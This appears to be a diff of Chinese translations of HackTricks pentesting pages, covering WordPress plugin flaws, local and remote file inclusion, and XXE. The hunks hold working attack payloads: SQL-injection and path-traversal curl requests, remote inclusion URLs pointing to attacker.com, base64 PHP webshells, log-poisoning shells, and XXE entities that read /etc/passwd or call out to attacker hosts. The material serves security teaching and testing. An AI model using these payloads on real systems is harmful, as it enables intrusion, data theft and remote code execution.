||||
其他影响较大的目标包括插件/主题的 `.php` 文件(以破坏安全插件)或 `.htaccess` 规则。
|
||||
其他重要目标包括插件/主题的 `.php` 文件(以破坏安全插件)或 `.htaccess` 规则。
|
||||
|
||||
#### 检测清单
|
||||
|
||||
@ -467,12 +469,12 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
|
||||
- 信任 `$_REQUEST['reset-for']` 和没有服务器端授权的插件选项。
|
||||
- 如果用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径来恢复这些权限。
|
||||
- 在某些部署中,任何经过身份验证的用户都可以为仍在 `viewing_admin_as_role_are` 中存在的另一个用户名触发重置(授权破坏)。
|
||||
- 在某些部署中,任何经过身份验证的用户都可以为仍然存在于 `viewing_admin_as_role_are` 中的另一个用户名触发重置(授权破坏)。
|
||||
|
||||
攻击前提
|
||||
|
||||
- 启用该功能的易受攻击插件版本。
|
||||
- 目标账户在用户元数据中存储了过时的高权限角色。
|
||||
- 目标账户在用户元数据中存储有过时的高权限角色。
|
||||
- 任何经过身份验证的会话;重置流程中缺少 nonce/能力。
|
||||
|
||||
利用(示例)
|
||||
@ -504,7 +506,7 @@ add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 考虑存储最小状态并使用时间限制、能力保护的令牌进行临时角色切换。
|
||||
- 考虑存储最小状态并使用时间限制的、能力保护的令牌进行临时角色切换。
|
||||
|
||||
---
|
||||
|
||||
@ -536,7 +538,7 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### 通过验证不足的未认证 SQL 注入 (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,最终在 `modules/category/model.php::validateFormData()` 中执行以下易受攻击的代码:
|
||||
WP Job Portal 招聘插件暴露了一个 **savecategory** 任务,最终在 `modules/category/model.php::validateFormData()` 内执行以下易受攻击的代码:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -550,7 +552,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
|
||||
1. **未清理的用户输入** – `parentid` 直接来自 HTTP 请求。
|
||||
2. **WHERE 子句中的字符串连接** – 没有 `is_numeric()` / `esc_sql()` / 预处理语句。
|
||||
3. **未认证的可达性** – 尽管该操作是通过 `admin-post.php` 执行的,但唯一的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访客都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公共页面中获取。
|
||||
3. **未认证的可达性** – 尽管该操作是通过 `admin-post.php` 执行的,但唯一的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访问者都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公共页面中获取。
|
||||
|
||||
#### 利用
|
||||
|
||||
@ -566,17 +568,17 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
响应显示了注入查询的结果或更改了数据库,证明了 SQLi。
|
||||
响应披露了注入查询的结果或更改了数据库,证明了 SQLi。
|
||||
|
||||
### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)
|
||||
|
||||
另一个任务,**downloadcustomfile**,允许访客通过路径遍历下载 **磁盘上的任何文件**。 受影响的代码位于 `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
另一个任务,**downloadcustomfile**,允许访问者通过路径遍历下载 **磁盘上的任何文件**。 受影响的代码位于 `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` 是攻击者控制的,并且**未经过清理**地连接。再次强调,唯一的门槛是可以从简历页面获取的**CSRF 随机数**。
|
||||
`$file_name` 是攻击者控制的,并且**未经过清理**地连接。再次强调,唯一的门槛是可以从简历页面获取的**CSRF nonce**。
|
||||
|
||||
#### 利用
|
||||
```bash
|
||||
@ -591,9 +593,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Litho主题中的未认证任意文件删除漏洞](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal插件中修复的多个关键漏洞](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [影响超过100,000个站点的ASE插件中的特权升级罕见案例](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3更改集 – 在个人资料更新时删除原始角色](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
|
||||
## 基本 LFI 和绕过
|
||||
|
||||
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/)。
|
||||
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
|
||||
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法:
|
||||
|
||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于基于Linux的服务器)。一个示例URL可能结构如下,指示深度为三:
|
||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于基于Linux的服务器)。一个示例URL可能结构如下,表示深度为三:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 远程文件包含
|
||||
|
||||
在 php 中,默认情况下这是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,您可以从您的服务器包含一个 PHP 文件并获得 RCE:
|
||||
在 php 中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个 PHP 文件并获得 RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -153,7 +153,7 @@ http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,经过 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
|
||||
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,经过 b64 解码后那部分将只返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
|
||||
|
||||
另一个**不使用 `php://` 协议**的例子是:
|
||||
```
|
||||
@ -166,7 +166,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
如果用户传递一个 **绝对路径** 给 **`file_name`**,**之前的路径会被移除**:
|
||||
如果用户传递一个 **absolute path** 给 **`file_name`**,**之前的路径将被移除**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
@ -229,16 +229,16 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
|
||||
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表,请在控制台中运行:`iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对编写任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 压缩内容(如果提取大量信息时很有用)
|
||||
- `zlib.deflate`: 压缩内容(在提取大量信息时很有用)
|
||||
- `zlib.inflate`: 解压数据
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 已弃用
|
||||
- `mdecrypt.*` : 已弃用
|
||||
- 其他过滤器
|
||||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些 **意外的过滤器**:
|
||||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到几个 **意外的过滤器**:
|
||||
- `consumed`
|
||||
- `dechunk`: 反转 HTTP 分块编码
|
||||
- `convert.*`
|
||||
@ -271,23 +271,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> "php://filter" 部分不区分大小写
|
||||
|
||||
### 使用 php 过滤器作为 oracle 读取任意文件
|
||||
### 使用 php 过滤器作为读取任意文件的 oracle
|
||||
|
||||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 逐字符布尔外泄文件**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
|
||||
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
|
||||
|
||||
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
|
||||
- 这将用于生成一个 **当初始字母正确猜测时变得非常大的文本**,以至于 php 会触发一个 **错误**。
|
||||
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
|
||||
- 这与前一个(以及根据猜测字母的其他过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将导致 php 错误。
|
||||
- 这与前一个(以及其他根据猜测字母的过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将使 php 出错。
|
||||
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母(因此在此编码后:a -> b)。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g,该字母不再是十六进制字符,因此 dechunk 不会删除它,php 错误被触发,因为它与初始炸弹相乘。
|
||||
- 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r(其他编码可以用来将其他字母移动到十六进制范围)。
|
||||
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
|
||||
- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
|
||||
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露位。
|
||||
- 在开头使用其他转换如 **rot13** 可以泄漏其他字符如 n, o, p, q, r(其他编码可以用于将其他字母移动到十六进制范围)。
|
||||
- 当初始字符是数字时,需要对其进行 base64 编码并泄漏前两个字母以泄漏该数字。
|
||||
- 最后一个问题是 **如何泄漏超过初始字母**。通过使用有序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
|
||||
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的位以泄漏。
|
||||
|
||||
在文章中还泄露了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
在文章中还泄漏了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
|
||||
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了 `.phar` 文件的创建:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,7 +358,7 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
在执行时,将创建一个名为 `test.phar` 的文件,这可能被利用来利用本地文件包含(LFI)漏洞。
|
||||
|
||||
在 LFI 仅执行文件读取而不执行 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
|
||||
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件相关。
|
||||
|
||||
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下面链接的文档:
|
||||
|
||||
@ -378,7 +378,7 @@ phar-deserialization.md
|
||||
|
||||
查看更多可能的 [**协议以包含在此**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory 和 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
|
||||
@ -389,7 +389,7 @@ phar-deserialization.md
|
||||
|
||||
## 通过 PHP 的 'assert' 进行 LFI
|
||||
|
||||
在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为它可以在字符串中执行代码。如果输入包含像 ".." 这样的目录遍历字符被检查但未正确清理,这尤其成问题。
|
||||
在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为它可以执行字符串中的代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
|
||||
|
||||
例如,PHP 代码可能被设计为防止目录遍历,如下所示:
|
||||
```bash
|
||||
@ -408,15 +408,15 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP盲路径遍历
|
||||
|
||||
> [!WARNING]
|
||||
> 该技术在您**控制**一个**PHP函数**的**文件路径**的情况下相关,该函数将**访问一个文件**但您不会看到文件的内容(如简单调用**`file()`**)但内容不会显示。
|
||||
> 该技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容(如简单调用**`file()`**)的情况下是相关的,但内容不会显示。
|
||||
|
||||
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
|
||||
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历来**通过错误oracle提取文件内容**。
|
||||
|
||||
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**文件的**PHP函数**将触发一个**错误**。
|
||||
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**,以至于**打开**该文件的**PHP函数**将触发一个**错误**。
|
||||
|
||||
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
|
||||
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器(如**base64**或**rot13**)一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
|
||||
|
||||
**可能存在漏洞的函数**:`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**可能存在漏洞的函数**:`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
有关技术细节,请查看上述文章!
|
||||
|
||||
@ -424,15 +424,15 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
### 通过路径遍历进行任意文件写入(Webshell RCE)
|
||||
|
||||
当服务器端代码处理/上传文件时,使用用户控制的数据(例如,文件名或URL)构建目标路径而不进行规范化和验证时,`..`段和绝对路径可以逃离预期目录并导致任意文件写入。如果您可以将有效负载放置在一个公开的Web目录下,通常可以通过放置Webshell获得未经身份验证的RCE。
|
||||
当服务器端代码处理/上传文件时,使用用户控制的数据(例如,文件名或URL)构建目标路径而不进行规范化和验证时,`..`段和绝对路径可能会逃离预期目录并导致任意文件写入。如果您可以将有效负载放置在一个公开的Web目录下,通常可以通过放置Webshell获得未经身份验证的RCE。
|
||||
|
||||
典型的利用工作流程:
|
||||
- 确定在接受路径/文件名并将内容写入磁盘的端点或后台工作者中的写入原语(例如,消息驱动的摄取,XML/JSON命令处理程序,ZIP提取器等)。
|
||||
- 确定Web暴露的目录。常见示例:
|
||||
- 在接受路径/文件名并将内容写入磁盘的端点或后台工作程序中识别写入原语(例如,消息驱动的摄取、XML/JSON命令处理程序、ZIP提取器等)。
|
||||
- 确定公开的Web目录。常见示例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → 放置`shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → 放置`shell.aspx`
|
||||
- 构造一个遍历路径,突破预期存储目录进入Web根目录,并包含您的Webshell内容。
|
||||
- 构造一个遍历路径,突破预期的存储目录进入Web根目录,并包含您的Webshell内容。
|
||||
- 浏览到放置的有效负载并执行命令。
|
||||
|
||||
注意:
|
||||
@ -464,7 +464,7 @@ in.transferTo(out);
|
||||
</JMF>
|
||||
```
|
||||
加固措施以防止此类漏洞:
|
||||
- 解析为规范路径并确保其是允许列出的基础目录的子目录。
|
||||
- 解析为规范路径并确保其是允许列出的基本目录的子目录。
|
||||
- 拒绝任何包含 `..`、绝对根或驱动器字母的路径;优先使用生成的文件名。
|
||||
- 以低权限账户运行写入程序,并将写入目录与服务根目录隔离。
|
||||
|
||||
@ -474,14 +474,14 @@ in.transferTo(out);
|
||||
|
||||
### 通过 Apache/Nginx 日志文件
|
||||
|
||||
如果 Apache 或 Nginx 服务器在包含函数中**易受 LFI 攻击**,您可以尝试访问 **`/var/log/apache2/access.log` 或 `/var/log/nginx/access.log`**,在 **用户代理** 或 **GET 参数** 中设置一个 php shell,如 **`<?php system($_GET['c']); ?>`** 并包含该文件。
|
||||
如果 Apache 或 Nginx 服务器在包含函数中**易受 LFI 攻击**,你可以尝试访问 **`/var/log/apache2/access.log` 或 `/var/log/nginx/access.log`**,在 **用户代理** 或 **GET 参数** 中设置一个 php shell,如 **`<?php system($_GET['c']); ?>`** 并包含该文件。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,**如果您使用双引号**而不是 **单引号**,双引号将被修改为字符串 "_**quote;**_",**PHP 会在此抛出错误**,并且 **不会执行其他任何内容**。
|
||||
> 请注意,**如果你使用双引号**而不是 **单引号**,双引号将被修改为字符串 "_**quote;**_",**PHP 会在此抛出错误**,并且 **不会执行其他任何内容**。
|
||||
>
|
||||
> 此外,请确保您**正确编写有效载荷**,否则每次尝试加载日志文件时 PHP 都会出错,您将没有第二次机会。
|
||||
> 此外,请确保你**正确编写有效负载**,否则 PHP 每次尝试加载日志文件时都会出错,你将没有第二次机会。
|
||||
|
||||
这也可以在其他日志中完成,但**请小心,**日志中的代码可能被 URL 编码,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 "user:password" 的 Base64 编码,并在日志中解码。PHPShell 可以插入到此头部中。\
|
||||
这也可以在其他日志中完成,但**要小心,**日志中的代码可能被 URL 编码,这可能会破坏 Shell。头部 **authorisation "basic"** 包含 "user:password" 的 Base64 编码,并在日志中解码。PHPShell 可以插入到此头部中。\
|
||||
其他可能的日志路径:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -575,7 +575,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### 通过段错误
|
||||
|
||||
**上传** 一个将被存储为 **临时** 在 `/tmp` 的文件,然后在 **同一请求中,** 触发 **段错误,** 然后 **临时文件不会被删除**,你可以搜索它。
|
||||
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件不会被删除**,你可以搜索它。
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## XML基础
|
||||
|
||||
XML是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义的标签。尽管XML在AJAX技术中的初始作用显著,但随着JSON的兴起,其重要性已下降。
|
||||
XML是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义标签。尽管XML在AJAX技术中的初始作用显著,但随着JSON的兴起,其重要性已下降。
|
||||
|
||||
- **通过实体表示数据**:XML中的实体使得数据的表示成为可能,包括特殊字符如`<`和`>`,它们分别对应于`<`和`>`,以避免与XML的标签系统发生冲突。
|
||||
- **定义XML元素**:XML允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。
|
||||
- **文档类型定义(DTD)**:DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。
|
||||
- **自定义和外部实体**:XML支持在DTD中创建自定义实体,以实现灵活的数据表示。外部实体通过URL定义,带来了安全隐患,特别是在XML外部实体(XXE)攻击的背景下,这些攻击利用XML解析器处理外部数据源的方式:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **自定义和外部实体**:XML支持在DTD中创建自定义实体,以实现灵活的数据表示。外部实体通过URL定义,尤其在XML外部实体(XXE)攻击的背景下引发安全问题,这些攻击利用XML解析器处理外部数据源的方式:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **使用参数实体检测XXE**:为了检测XXE漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用XML参数实体。这些实体允许使用带外检测技术,例如触发DNS查找或向受控域发出HTTP请求,以确认漏洞。
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -35,7 +35,7 @@ XML是一种用于数据存储和传输的标记语言,具有灵活的结构
|
||||
|
||||
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows,你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
在这个第一个例子中,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。
|
||||
在这种情况下,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -49,7 +49,7 @@ XML是一种用于数据存储和传输的标记语言,具有灵活的结构
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
在这个第三个案例中,请注意我们将 `Element stockCheck` 声明为 ANY。
|
||||
在第三种情况下,请注意我们将 `Element stockCheck` 声明为 ANY。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -83,17 +83,17 @@ XXE 可以被用来滥用云中的 SSRF
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
使用**之前提到的技术**,您可以让服务器访问您控制的服务器,以显示其存在漏洞。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**:
|
||||
使用**之前提到的技术**,您可以让服务器访问您控制的服务器以显示其脆弱性。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "盲" SSRF - 通过带外方式提取数据
|
||||
### "盲" SSRF - 通过带外方式泄露数据
|
||||
|
||||
**在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD,该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 \_ftp://**\_ 来提取,例如使用这个基本服务器 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。**
|
||||
**在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD,该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 \_ftp://**\_ 来泄露它,例如使用这个基本服务器 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。**
|
||||
|
||||
在给定的恶意 DTD 中,执行了一系列步骤以提取数据:
|
||||
